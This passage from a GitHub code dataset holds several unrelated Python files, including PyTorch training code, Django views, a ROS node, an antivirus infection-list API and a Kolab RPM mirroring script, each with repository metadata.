ideally you should zero out the gradients so that you do the parameter update correctly.\n\n # Predict\n y_pred = model(data)\n\n # Calculate loss\n loss = F.nll_loss(y_pred, target)\n train_losses.append(loss)\n\n # Backpropagation\n loss.backward()\n optimizer.step()\n\n # Update pbar-tqdm\n \n pred = y_pred.argmax(dim=1, keepdim=True) # get the index of the max log-probability\n correct += pred.eq(target.view_as(pred)).sum().item()\n processed += len(data)\n\n pbar.set_description(desc= f'Loss={loss.item()} Batch_id={batch_idx} Accuracy={100*correct/processed:0.2f}')\n train_acc.append(100*correct/processed)\n\ndef test(model, device, test_loader):\n model.eval()\n test_loss = 0\n correct = 0\n with torch.no_grad():\n for data, target in test_loader:\n data, target = data.to(device), target.to(device)\n output = model(data)\n test_loss += F.nll_loss(output, target).item() # sum up batch loss\n pred = output.argmax(dim=1, keepdim=True) # get the index of the max log-probability\n correct += pred.eq(target.view_as(pred)).sum().item()\n\n test_loss /= len(test_loader.dataset)\n test_losses.append(test_loss)\n\n print('\\nTest set: Average loss: {:.4f}, Accuracy: {}/{} ({:.2f}%)\\n'.format(\n test_loss, correct, len(test_loader.dataset),\n 100. * correct / len(test_loader.dataset)))\n \n test_acc.append(100. * correct / len(test_loader.dataset))\n\n\n\ndef train_model(model, criterion, device, train_loader, test_loader, optimizer, scheduler, EPOCHS):\n \"\"\"\n Args:\n model (torch.nn Model): Original data with no preprocessing\n criterion (criterion) - Loss Function\n device (str): cuda/CPU\n train_loader (DataLoader) - DataLoader Object\n optimizer (optimizer) - Optimizer Object\n scheduler (scheduler) - scheduler object\n EPOCHS (int) - Number of epochs\n Returns:\n results (list): Train/test - Accuracy/Loss \n \"\"\"\n for epoch in range(EPOCHS):\n print(\"EPOCH:\", epoch)\n train(model, device, train_loader, optimizer, epoch)\n scheduler.step()\n test(model, device, test_loader)\n\n results = [train_losses, test_losses, train_acc, test_acc]\n return(results)","repo_name":"madhucharan/EVA6","sub_path":"S7/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5986,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"33822942193","text":"import json\nfrom filter_out_words import filter_out_words\nfrom similarity_map import similarity_map\nfrom format_map import format_map\nfrom categories_map import categories_map\n\nfilename = \"dataset_indeed-scraper_2023-09-16_01-10-37-409\"\nfilename2 = \"dataset_indeed-scraper_2023-10-06_00-26-33-590\"\nfilename3 = \"dataset_indeed-scraper_2023-10-15_15-43-09-792\"\n\nwith open(\n f\"input_data/{filename}.json\",\n \"r\",\n encoding=\"utf-8\",\n) as json_file:\n jobDescriptions = json.load(json_file)\n\nwith open(\n f\"input_data/{filename2}.json\",\n \"r\",\n encoding=\"utf-8\",\n) as json_file:\n jobDescriptions = jobDescriptions + json.load(json_file)\n\nwith open(\n f\"input_data/{filename3}.json\",\n \"r\",\n encoding=\"utf-8\",\n) as json_file:\n jobDescriptions = jobDescriptions + json.load(json_file)\n\nwith open(\n f\"keywords_extracted/{filename}.json\",\n \"r\",\n encoding=\"utf-8\",\n) as json_file:\n keywords = json.load(json_file)\n\nwith open(\n f\"keywords_extracted/{filename2}.json\",\n \"r\",\n encoding=\"utf-8\",\n) as json_file:\n keywords = keywords + json.load(json_file)\n\nwith open(\n f\"keywords_extracted/{filename3}.json\",\n \"r\",\n encoding=\"utf-8\",\n) as json_file:\n keywords = keywords + json.load(json_file)\n\nwith open(\n f\"keywords_counted/{filename3}.json\",\n \"r\",\n encoding=\"utf-8\",\n) as json_file:\n countedKeywords = json.load(json_file)\n\nfor i in range(len(jobDescriptions)):\n currentKeywords = []\n\n for keyword in keywords[i]:\n keyword = keyword.lower()\n foundWord = False\n if keyword in filter_out_words:\n continue\n if keyword in categories_map:\n foundWord = True\n if keyword in similarity_map:\n foundWord = True\n keyword = similarity_map[keyword]\n if keyword in format_map:\n foundWord = True\n keyword = format_map[keyword]\n if foundWord:\n currentKeywords.append(keyword)\n\n jobDescriptions[i][\"keywords\"] = currentKeywords\n\n\nwith open(\n f\"jobDescriptions_with_keywords/{filename3}.json\", \"w\", encoding=\"utf-8\"\n) as file:\n json.dump(jobDescriptions, file, indent=4)\n","repo_name":"wavegate/mykaraoke","sub_path":"mykaraoke-backend/crawlers/analysis/add_keywords.py","file_name":"add_keywords.py","file_ext":"py","file_size_in_byte":2161,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"43212540378","text":"#\n# @lc app=leetcode.cn id=485 lang=python3\n#\n# [485] 最大连续1的个数\n#\n\n# @lc code=start\nclass Solution:\n def findMaxConsecutiveOnes(self, nums: List[int]) -> int:\n nm_list = \"\".join(map(str,nums))\n nm_list = nm_list.split(\"0\")\n max_l = 0\n for i in range(len(nm_list)):\n max_l = max(max_l,len(nm_list[i]))\n return max_l\n #一行代码\n #return max(map(len,\"\".join(map(str,nums)).split(\"0\")))\n# @lc code=end\nnums = [1,1,1,1,1,1]\nnm_list = \"\".join(map(str,nums))\nnm_list = nm_list.split(\"0\")\nmax_l = 0\nfor i in range(len(nm_list)):\n max_l = max(max_l,len(nm_list[i]))\n \nprint(max_l)\nprint(max([\"111\",\"11\",\"11111\"]))\n","repo_name":"westqzy/leetcodes","sub_path":"485.最大连续-1-的个数.py","file_name":"485.最大连续-1-的个数.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28480618250","text":"omer = 10\nprint(omer)\n\nomer = 17\nprint(omer)\n\n#değişken isimler bir sayı ile başlayamaz\n#değişken isimleri iki kelimeyse arasına boşluk bırakılamaz.\n#özel semboller kullanılamaz.\n#ya da tanımlı anahtar kelimeler kullanılamaz.\n\n\n#daire çevresi hesaplama.\npiSayisi = 3.14\ncap = 4\ncevre = piSayisi*cap\nprint(cevre)\n\n#değer değiştirme.\na = 4\nb = 3\n\na,b = b,a\nprint(\"a = \" + str(a))\nprint(\"b = \" + str(b))\n\n#değişkendeki sayıyı artırmak için\ni = 5\ni = i+1\ni += 1\nprint(i)\n\n\n","repo_name":"omer-faruk-ozmen/software-courses","sub_path":"python/MustafaMuratCoskun/Lesson/sayilar.py","file_name":"sayilar.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"15938275295","text":"#!/usr/bin/env python\nimport rospy\nfrom geometry_msgs.msg import Twist\n\ndef just_go_fwd():\n pub = rospy.Publisher('turtle1/cmd_vel', Twist, queue_size=10)\n rospy.init_node('just_go_fwd', anonymous=True)\n rate = rospy.Rate(10) # 10hz\n while not rospy.is_shutdown():\n command = Twist()\n command.linear.x = 0.1\n command.linear.y = 0.0\n command.linear.z = 0.0\n command.angular.x = 0.0\n command.angular.y = 0.0\n command.angular.z = 0.0\n \n rospy.loginfo(command)\n pub.publish(command)\n rate.sleep()\n\nif __name__ == '__main__':\n try:\n just_go_fwd()\n except rospy.ROSInterruptException:\n pass\n","repo_name":"MikeHector/ROS_Tutorials","sub_path":"scripts/just_go_fwd.py","file_name":"just_go_fwd.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"39259770991","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jul 16 14:24:04 2020\n\n@author: 涂晴昊\n@information: 碧绿碧绿诡异诡异的滤镜。\n\"\"\"\n\nimport cv2\nimport numpy as np\n\ndef filter_strange(img):\n #读取原始图像\n src = img\n \n #新建目标图像\n dst = np.zeros_like(src)\n \n #获取图像行和列\n rows, cols = src.shape[:2]\n \n for i in range(rows):\n for j in range(cols):\n b = src[i,j][0]\n g = src[i,j][1]\n r = src[i,j][2]\n R = r*r/255\n G = g*g/255\n B = b*b/255\n if(R>255):\n R=255\n if(R<0):\n R=0\n if(G>255):\n G=255\n if(G<0):\n G=0\n if(B>255):\n B=255\n if(B<0):\n B=0\n dst[i,j][0] = B\n dst[i,j][1] = G\n dst[i,j][2] = R\n return dst\n \ndef main():\n src = 'C:/Users/76785/Desktop/20190412092022105.png'\n dst = filter_strange(src)\n #显示图像\n cv2.imshow('src',cv2.imread(src))\n cv2.imshow('dst',dst)\n cv2.waitKey()\n cv2.destroyAllWindows()\n \n \nif __name__ == '__main__':\n main()","repo_name":"Yedaxia1/SEU-Software-Engineering","sub_path":"程序猿/数字图像处理/work/code/backend/ImageProcess/AiModels/AiProc/filter/filter_strange.py","file_name":"filter_strange.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"11933900953","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n \n path('home/', views.HomeListView.as_view(), name=\"home\"),\n path('article//', views.ArticleDetailView.as_view(), name=\"article\"),\n path('add_post/', views.AddPostView.as_view(), name=\"add_post\"),\n path('article/update_post/', views.UpdatePostView.as_view(), name=\"update_post\"),\n path('article/supp_post/', views.DeletePostView.as_view(), name=\"supp\"),\n path('add_category/', views.AddCategoryView.as_view(), name=\"add_category\"),\n path('category/', views.categoryView, name=\"categoryview\"),\n path(' article//comment', views.AddCommentView.as_view(), name=\"add-comment\"),\n\n \n]\n\n","repo_name":"Abdelhakim-Aouay/creation-blog-with-django","sub_path":"myblog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"15658284108","text":"import logging\nfrom sqlite3 import IntegrityError\n\nfrom django.contrib.auth.decorators import login_required, permission_required\nfrom django.db import transaction\nfrom django.shortcuts import render, get_object_or_404\nfrom django.core.paginator import Paginator, PageNotAnInteger, EmptyPage\nfrom django.utils.translation import gettext as _\nfrom store.forms import ContactForm\nfrom store.models import Album, Contact, Booking, BookingLines\n\nlogging.basicConfig(level=logging.DEBUG)\n\n\n# @login_required\n# @permission_required('catalog.can_mark_returned')\ndef index(request):\n # Number of visits to this view, as counted in the session variable.\n num_visits = request.session.get('num_visits', 0)\n request.session['num_visits'] = num_visits + 1\n\n albums = Album.objects.filter(available=True).order_by('-created_at')[:12]\n context = {\n 'albums': albums,\n 'num_visits': num_visits\n }\n\n all_albums = Album.objects.all()\n\n # Album.objects.create(title=\"Rock2\")\n # Album.objects.create(title=\"Cat2\")\n\n return render(request, 'store/index.html', context)\n\n\ndef listing(request):\n albums_list = Album.objects.filter(available=True)\n paginator = Paginator(albums_list, 3)\n page = request.GET.get('page')\n try:\n albums = paginator.page(page)\n except PageNotAnInteger:\n # If page is not an integer, deliver first page.\n albums = paginator.page(1)\n except EmptyPage:\n # If page is out of range (e.g. 9999), deliver last page of results.\n albums = paginator.page(paginator.num_pages)\n context = {\n 'albums': albums\n }\n return render(request, 'store/listing.html', context)\n\n\n@transaction.atomic\n@login_required\ndef detail(request, album_id):\n album = get_object_or_404(Album, pk=album_id)\n artists = [artist.name for artist in album.artists.all()]\n artists_name = \" \".join(artists)\n context = {\n 'album_title': album.title,\n 'artists_name': artists_name,\n 'album_id': album.id,\n 'thumbnail': album.picture\n }\n if request.method == 'POST':\n form = ContactForm(request.POST)\n if form.is_valid():\n email = form.cleaned_data['email']\n name = form.cleaned_data['name']\n\n try:\n with transaction.atomic():\n contact = Contact.objects.filter(email=email) # filtre ORM : Select ...where XXX = YYY\n if not contact.exists():\n # If a contact is not registered, create a new one.\n contact = Contact.objects.create(\n email=email,\n name=name\n )\n else:\n contact = contact.first()\n # création du booking et de la booking line\n album = get_object_or_404(Album, id=album_id)\n booking1 = Booking.objects.create(\n contact=contact,\n # album=album (ici = mettre booking line!)\n )\n\n bookingLines = BookingLines.objects.create(album=album, booking=booking1)\n album2 = bookingLines.album # test relation 1/1\n bookingLines2 = album2.bookinglines # test relation 1/1\n\n # juste pr tester les warnings ici\n if album2 == album:\n logging.debug(\"La fonction a bien été exécutée\")\n logging.info(\"Message d'information général\")\n logging.warning(\"Attention !\")\n logging.error(\"Une erreur est arrivée\")\n logging.critical(\"Erreur critique\")\n # raise Warning('Allez les bleus!') ## ca marche\n # lg.warning()\n\n album.available = False\n album.save()\n context = {\n 'album_title': album.title\n }\n return render(request, 'store/merci.html', context)\n except IntegrityError:\n form.errors['internal'] = \"Une erreur interne est apparue. Merci de recommencer votre requête.\"\n # else:\n # # Form data doesn't match the expected format.\n # # Add errors to the template.\n # context['errors'] = form.errors.items()\n else:\n form = ContactForm()\n context['form'] = form\n return render(request, 'store/detail.html', context)\n\n\ndef search(request):\n query = request.GET.get('query')\n if not query:\n albums = Album.objects.all()\n else:\n # title contains the query is and query is not sensitive to case.\n albums = Album.objects.filter(title__icontains=query)\n if not albums.exists():\n albums = Album.objects.filter(artists__name__icontains=query)\n title = \"Résultats pour la requête %s\" % query\n context = {\n 'albums': albums,\n 'title': title\n }\n return render(request, 'store/search.html', context)\n","repo_name":"remiliance/django_disquaire","sub_path":"store/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"34260946743","text":"# -*- coding: utf-8 -*-\n\nimport numpy as np\n\n\"\"\"\nModuł z funkcją do złączania dwóch dźwięków\nstosując przesunięcie dźwięków w ścieżce.\n\"\"\"\n\nprint('Modul o nazwie: ' + __name__ + ' zostal wczytany.')\n\ndef merge_sounds(sound1, sound2, delay):\n \n \"\"\"\n Funkcja złączająca dwa dźwięki.\n Argumenty:\n * sound1 - dźwięk pierwszy\n * sound2 - dźwięk drugi\n * delay - przesunięcie określające, która linia ścieżki zostaje wczytana\n \"\"\"\n \n # sprawdzamy długości dzwięków, bo muszą być równej\n # długości by je złączyć (dodawanie macierzy wymiaru\n # n x 2)\n lines_sound1 = np.shape(sound1)[0]\n lines_sound2 = np.shape(sound2)[0]\n \n # łączymy dzwięki korygując wymiary macierzy\n delay_matrix1 = np.zeros((delay, 2))\n if lines_sound1 >= lines_sound2 + delay:\n delay_matrix2 = np.zeros((lines_sound1 - (delay + lines_sound2), 2))\n sound = sound1 + np.vstack((delay_matrix1, sound2, delay_matrix2))\n else:\n delay_matrix3 = np.zeros(((delay + lines_sound2) - lines_sound1, 2))\n sound = np.vstack((sound1, delay_matrix3)) + np.vstack((delay_matrix1, sound2))\n \n return sound","repo_name":"smudap/pythonMuzyka","sub_path":"merge_sounds.py","file_name":"merge_sounds.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"7114475427","text":"# -*- coding: utf-8 -*-\r\n\r\nfrom flask_restful import abort, Resource, request\r\nfrom sqlalchemy.orm import scoped_session\r\nimport binascii\r\nimport ctypes\r\n\r\n\r\nfrom helper import helper\r\nfrom db_session import db_session_factory_global\r\nfrom helper import db_session_helper\r\nfrom IkLogger import CMyIkLogger\r\nfrom InfectionDetails import InfectionDetailsSpecific\r\n\r\n\r\n#/admin/infections [GET]\r\nclass InfectionList(Resource):\r\n def __init__(self, import_name='InfectionList'):\r\n super(InfectionList, self).__init__()\r\n self.__name__ = import_name\r\n\r\n def get(self):\r\n try:\r\n providerName = helper.getCurrentRequestProviderName()\r\n if providerName is None:\r\n return \"Bad Request! Providername not found!\", 404\r\n\r\n db_session_global_sess = scoped_session(db_session_factory_global._sessionmaker)\r\n db_session_global = db_session_helper(db_session_global_sess(autocommit=True),db_session_factory_global._Tables, db_session_factory_global.tables_raw)\r\n\r\n data = 0\r\n cacheID = 0\r\n try:\r\n if not (request is None) and not (request.args) is None and len(request.args) > 0:\r\n if len(request.args.getlist('cacheID')) > 0:\r\n cacheID = int(request.args.getlist('cacheID')[0])\r\n except:\r\n cacheID = 0\r\n\r\n try:\r\n if not (request is None) and not (request.args) is None and len(request.args) > 0:\r\n if len(request.args.getlist('data')) > 0:\r\n data = int(request.args.getlist('data')[0])\r\n except:\r\n data = int(0)\r\n\r\n rowProvider = db_session_global.session.query(db_session_global.tables_raw['T_PROVIDER']).filter( \\\r\n db_session_global.tables_raw['T_PROVIDER'].columns.providername == providerName).first()\r\n\r\n maxCacheID = 0\r\n try:\r\n result = db_session_global.session.execute(\"select MAX(CAST(i.rv as bigint)) as rvINT from T_AVIC_INFECTION_INFO i join T_AVIC_DEVICE d on d.device_id=i.device_id\\\r\n WHERE d.clientnr in (select clientnr from T_PROVIDER_CLIENT where providernr = :pnr )\", {'pnr': rowProvider.providernr})\r\n maxCacheID = result.fetchone()[0]\r\n except:\r\n maxCacheID = 0\r\n\r\n rows = db_session_global.session.execute(\"select i.device_id from T_AVIC_INFECTION_INFO i join T_AVIC_DEVICE d on d.device_id=i.device_id \\\r\n WHERE d.clientnr in (select clientnr from T_PROVIDER_CLIENT where providernr = :pnr ) AND CAST(i.rv as bigint) > :rv_int group by i.device_id \",\\\r\n {'pnr': rowProvider.providernr, 'rv_int': cacheID })\r\n if rows is None:\r\n return {}, 204\r\n\r\n infections = {}\r\n if data == 1:\r\n infections['data'] = []\r\n else:\r\n infections['deviceID'] = []\r\n infections['cacheID'] = maxCacheID\r\n\r\n specInfection = InfectionDetailsSpecific()\r\n for rowDevice in rows:\r\n DeviceID = rowDevice.device_id.urn[-36:]\r\n #deviceDetails = db_session_global.session.execute(\"SELECT * FROM T_AVIC_DEVICE WHERE device_id = :dID\", {'dID': DeviceID}).first()\r\n if data == 1:\r\n rowsInf = db_session_global.session.execute(\"select * from T_AVIC_INFECTION_INFO i \\\r\n WHERE device_id = :dID AND CAST(i.rv as bigint) > :rv_int \", \\\r\n { 'dID': DeviceID, 'rv_int': cacheID } )\r\n if not (rowsInf is None):\r\n infectionData = {}\r\n infectionData['device_id'] = DeviceID\r\n infectionData['infections'] = []\r\n infectionData_infections = None\r\n\r\n for row in rowsInf:\r\n '''\r\n # performance issues!!\r\n infectionData_infections = specInfection.get(DeviceID, row.infection_id)\r\n infectionData['infections'].append(infectionData_infections[0])\r\n '''\r\n\r\n #performance: 32% faster than code above\r\n row_JSON = {}\r\n row_JSON['infection_id'] = row.infection_id\r\n row_JSON['sigid'] = row.sigid\r\n row_JSON['signame'] = row.signame\r\n row_JSON['full_path'] = row.full_path\r\n row_JSON['process_name'] = row.process_name\r\n\r\n if row.md5 is None:\r\n row_JSON['md5'] = None\r\n else:\r\n md5 = binascii.hexlify(row.md5)\r\n row_JSON['md5'] = str(md5, encoding='iso_8859_1')\r\n\r\n row_JSON['crc64'] = ctypes.c_uint64(row.crc64).value\r\n row_JSON['date_found'] = helper.alchemyencoder(row.date_found)\r\n row_JSON['type_found'] = row.type_found\r\n row_JSON['filesize'] = ctypes.c_uint64(row.filesize).value\r\n infectionData['infections'].append(row_JSON)\r\n\r\n infections['data'].append(infectionData)\r\n\r\n else:\r\n infections['deviceID'].append(DeviceID)\r\n\r\n if data == 1:\r\n if len(infections['data']) > 0:\r\n return infections, 200\r\n else:\r\n if len(infections['deviceID']) > 0:\r\n return infections, 200\r\n\r\n if data == 1:\r\n return { 'cacheID': maxCacheID, 'data': [] }, 200\r\n else:\r\n return {'cacheID': maxCacheID, 'deviceID': [] }, 200\r\n except Exception as Ex:\r\n CMyIkLogger.warning(\"Error while getting global infections! ErrStr: \"+str(Ex))\r\n abort(500, message=\"Internal Server Error!\")\r\n\r\n finally:\r\n try:\r\n db_session_global_sess.remove()\r\n except:\r\n print(\"\")","repo_name":"xisco891/cloud-antivirus-app-ikarus","sub_path":"InfectionList.py","file_name":"InfectionList.py","file_ext":"py","file_size_in_byte":6460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"39918869412","text":"# -*- coding: utf-8 -*-\nfrom django.conf.urls import include, url\nfrom django.conf.urls.static import static\nfrom django.conf import settings\n\nurlpatterns = [\n url(r'^$', 'eventsflow.views.index',name='index'),\n \n url(r'^data/', include('eventsflow.urls')),\n]\n\nif settings.DEBUG:\n urlpatterns += static(settings.STATIC_URL, document_root=settings.STATICFILES_DIRS[0], show_indexes=True)\nelse :\n urlpatterns += (\n url(r'^static/(?P.*)$', 'django.views.static.serve', {'document_root': settings.STATIC_ROOT}),\n )\n ","repo_name":"baifendian/TopicTrend","sub_path":"web_service/waka_web/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"47"} +{"seq_id":"72490429582","text":"import unittest\r\nfrom collections import deque\r\nfrom rle_encoder import RLEEncoder\r\n\r\n\r\nclass TestRLEEncoder(unittest.TestCase):\r\n def test_init(self):\r\n data = bytearray(b'aaazaaa')\r\n rle = RLEEncoder(data)\r\n self.assertIsInstance(rle.result_data, bytearray)\r\n self.assertIsInstance(rle.data_to_encode, bytearray)\r\n\r\n def test_review_the_same_bytes(self):\r\n rle = RLEEncoder(bytearray(b''))\r\n result = rle.review_the_same_bytes(256, 12)\r\n self.assertIsInstance(result, int)\r\n\r\n def test_review_diff_bytes(self):\r\n rle = RLEEncoder(bytearray(b''))\r\n deq = deque()\r\n for i in range(200):\r\n deq.append(1)\r\n result = rle.review_diff_bytes(deq)\r\n self.assertIsInstance(result, deque)\r\n\r\n def test_encode(self):\r\n data = bytearray(b'sssasassssaaaassasa')\r\n rle = RLEEncoder(data)\r\n res = rle.encode()\r\n self.assertIsInstance(res, bytearray)\r\n\r\n def test_encode_again(self):\r\n data = bytearray(b'sas')\r\n rle = RLEEncoder(data)\r\n res = rle.encode()\r\n self.assertIsInstance(res, bytearray)\r\n\r\n\r\nif __name__ == '__main__':\r\n unittest.main()\r\n","repo_name":"DanilMironov/Alternative-wav-steganography","sub_path":"test_rle_encoder.py","file_name":"test_rle_encoder.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"22516707958","text":"#!/usr/bin/env python3\nimport os.path\nimport sys\nfrom collections import deque\nimport urllib.request\nimport re\n\nif len(sys.argv) != 3:\n print(\"Please specify which Kolab version you want to create eg. 2016.2 RC1 or 2016.2 final\")\n sys.exit(-1)\nrelease=sys.argv[1]\nreleasestate=sys.argv[2]\nrpmbuildpath=\"/root/rpmbuild\"\nobsurl=\"http://obs.kolabsys.com/repositories/Kolab:/Development/CentOS_7/src\"\nfedorapeoplepath=\"kolab/kolab-\"+release+\"/\"+releasestate\nfedorapeopleurl=\"tpokorra@fedorapeople.org:public_html\"\npkgurl=\"https://tpokorra.fedorapeople.org/\"+fedorapeoplepath\nsrcrpmspath=\"/root/obs/kolab-development\"\nmodifiedsrcrpmspath=\"/root/obs/kolab-development\"\nDebugging=False\n\nincludePackages=[\n # kolab packages\n \"chwala\", \"iRony\", \"kolab*\", \"libcalendaring\", \"libkolab*\", \"pykolab\",\n \"roundcubemail-plugins-kolab\", \"roundcubemail-skin-chameleon\",\n # additional packages\n \"cyrus-imapd\", \"roundcubemail\", \"roundcubemail-plugin-*\",\n # needed by roundcubemail\n \"php-Net-LDAP3\", \"php-pear-Net-LDAP2\",\n # needed by pykolab\n \"python-icalendar\", \"python-sievelib\",\n # needed by kolab-webadmin\n \"mozldap\",\n # needed by iRony\n \"php-sabre-*\"]\n\ndef GetDependanciesAndProvides(name):\n specfile=rpmbuildpath + \"/SPECS/\" + name + \".spec\"\n builddepends=[]\n provides={}\n if not os.path.isfile(specfile):\n print(\"cannot find \" + specfile)\n else:\n globals = {}\n for line in open(specfile):\n for glob in globals:\n line=line.replace(\"%{\"+glob+\"}\", globals[glob])\n if line.lower().startswith(\"%global \"):\n glob = line.strip().split()\n globals[glob[1]] = glob[2]\n if line.lower().startswith(\"buildrequires: \"):\n if line.count(\",\") > 0:\n packagesWithVersions=line[len(\"BuildRequires: \"):].split(\",\")\n else:\n packagesWithVersions=line[len(\"BuildRequires: \"):].split()\n ignoreNext=False\n for word in packagesWithVersions:\n if not ignoreNext:\n # filter >= 3.0, only use package names\n if word[0] == '>' or word[0] == '<' or word[0] == '=':\n ignoreNext=True\n else:\n builddepends.append(word.strip())\n else:\n ignoreNext=False\n\n recentpackagename=name\n for line in open(specfile):\n if line.lower().startswith(\"name:\"):\n name = line[len(\"name:\"):].strip()\n recentpackagename=name\n provides[name] = []\n elif line.lower().startswith(\"%package -n\"):\n recentpackagename=line[len(\"%package -n\"):].strip()\n provides[recentpackagename] = []\n elif line.lower().startswith(\"%package\"):\n recentpackagename=name + \"-\" + line[len(\"%package\"):].strip()\n provides[recentpackagename] = []\n elif line.lower().startswith(\"requires:\"):\n r = line[len(\"requires:\"):].strip().replace(\"(\", \"-\").replace(\")\", \"\")\n provides[recentpackagename].append(r.split()[0])\n\n return (builddepends, provides)\n\ndef CalculatePackageOrder(packages):\n unsorted={}\n builddepends={}\n depends={}\n provides={}\n for package in packages:\n (builddepends[package],provides[package]) = GetDependanciesAndProvides(package)\n for p in provides[package]:\n unsorted[p] = 1\n depends[p] = provides[package][p]\n if not package in unsorted:\n unsorted[package] = 1\n # useful for debugging:\n if Debugging:\n print( package + \" builddepends on: \")\n for p in builddepends[package]:\n print(\" \" + p)\n print( package + \" provides: \")\n for p in provides[package]:\n print(\" \" + p + \" which depends on:\")\n for d in depends[p]:\n print(\" \" + d)\n\n result = deque()\n while len(unsorted) > 0:\n nextPackages = []\n for package in unsorted:\n if package in packages:\n missingRequirement=False\n # check that this package does not require a package that is in unsorted\n for dep in builddepends[package]:\n if dep in unsorted:\n missingRequirement=True\n if dep in depends:\n for dep2 in depends[dep]:\n if dep2 in unsorted:\n missingRequirement=True\n if not missingRequirement:\n nextPackages.append(package)\n added=True\n if nextPackages.count == 0:\n # problem: circular dependancy\n print (\"circular dependancy, remaining packages: \")\n for p in unsorted:\n print(p)\n return None\n result.append(nextPackages)\n for pkg in nextPackages:\n for p in provides[pkg]:\n if p in unsorted:\n del unsorted[p]\n for pkg in nextPackages:\n if pkg in unsorted:\n del unsorted[pkg]\n\n return result\n\ndef getPackages():\n packages=[]\n for file in os.listdir(rpmbuildpath+\"/SPECS\"):\n if file.endswith(\".spec\"):\n packages.append(file[:-5])\n return packages\n\ndef getSrcRpmFiles(packages):\n result={}\n\n # parse name from spec file\n srcrpmnames={}\n for pkg in packages:\n srcrpmnames[pkg] = pkg\n globals = {}\n for line in open(rpmbuildpath+\"/SPECS/\" + pkg + \".spec\"):\n for glob in globals:\n line=line.replace(\"%{\"+glob+\"}\", globals[glob])\n if line.lower().startswith(\"%global \"):\n glob = line.strip().split()\n globals[glob[1]] = glob[2]\n if line.startswith(\"Name: \"):\n srcrpmnames[pkg] = line[6:].strip()\n\n for file in os.listdir(srcrpmspath):\n if file.endswith(\".src.rpm\"):\n bestfit=None\n bestfitCount=0\n for pkg in packages:\n pkgsrcname = srcrpmnames[pkg]\n if file.startswith(pkgsrcname):\n if len(pkgsrcname) > bestfitCount:\n bestfitCount=len(pkgsrcname)\n bestfit=pkg\n if bestfit is not None:\n result[bestfit] = file\n return result\n\ndef downloadSrcRpms():\n if os.path.isdir(srcrpmspath):\n print(\"not downloading the src.rpms again. please delete the path \" + srcrpmspath + \" if you want a fresh download\")\n return\n response = urllib.request.urlopen(obsurl)\n os.makedirs(srcrpmspath)\n html = response.read().decode('utf-8')\n for line in html.split('\\n'):\n if \"src.rpm\" in line:\n m = re.search(']+>', line)\n m2 = re.search('\"[^\\\"]+\"', m.group(0))\n srcrpm=m2.group(0).strip('\"')\n ignore=True\n for pkg in includePackages:\n if srcrpm.startswith(pkg.replace('*','')):\n ignore=False\n if not ignore:\n os.system(\"wget \" + obsurl + \"/\" + srcrpm + \" -O \" + srcrpmspath + \"/\" + srcrpm)\n\ndef uploadSrcRpms():\n os.system(\"echo 'mkdir \"+fedorapeoplepath+\"' | sftp \" + fedorapeopleurl)\n os.system(\"cd \"+modifiedsrcrpmspath+\" && echo 'put *.src.rpm' | sftp \" + fedorapeopleurl + \"/\" + fedorapeoplepath)\n\ndef installSrcRpms():\n # need a clean rpmbuild directory\n if os.path.isdir(rpmbuildpath):\n if os.path.isdir(rpmbuildpath + \".bak\"):\n print(\"Error: cannot rename \" + rpmbuildpath + \" because \" + rpmbuildpath + \".bak already exist\")\n sys.exit(-1)\n os.rename(rpmbuildpath, rpmbuildpath + \".bak\")\n for file in os.listdir(srcrpmspath):\n if file.endswith(\".src.rpm\"):\n os.system(\"rpm -i \" + srcrpmspath + \"/\" + file)\n\ndef printPackages(orderedpackages):\n for pkgs in orderedpackages:\n print()\n print(\"build together: \")\n for pkg in pkgs:\n if pkg in srcrpmfiles:\n print(pkgurl + \"/\" + srcrpmfiles[pkg])\n else:\n print(\" \" + pkg)\n\n#downloadSrcRpms()\n#installSrcRpms()\n#uploadSrcRpms()\npackages=getPackages()\nsrcrpmfiles=getSrcRpmFiles(packages)\norderedpackages=CalculatePackageOrder(packages)\nprintPackages(orderedpackages)\n\n","repo_name":"tpokorra/KolabScripts","sub_path":"createreleases/mirror_kolab_development.py","file_name":"mirror_kolab_development.py","file_ext":"py","file_size_in_byte":7758,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"47"} +{"seq_id":"1068568762","text":"\"\"\"\nCreated By: Cristian Scutaru\nCreation Date: Sep 2023\nCompany: XtractPro Software\n\"\"\"\n\nfrom config import Config\nfrom json_classes import Obj, Arr\n\n# ==========================================================================\nclass ERDManager:\n tables = {}\n obj = None\n\n def __new__(cls):\n raise TypeError(\"This is a static class and cannot be instantiated.\")\n\n @classmethod\n def getEntities(cls, obj):\n cls.tables = {}\n cls.obj = obj\n if isinstance(obj, Arr):\n for o in obj.objs:\n cls._getTable(o, True)\n else:\n cls._getTable(obj, True)\n if 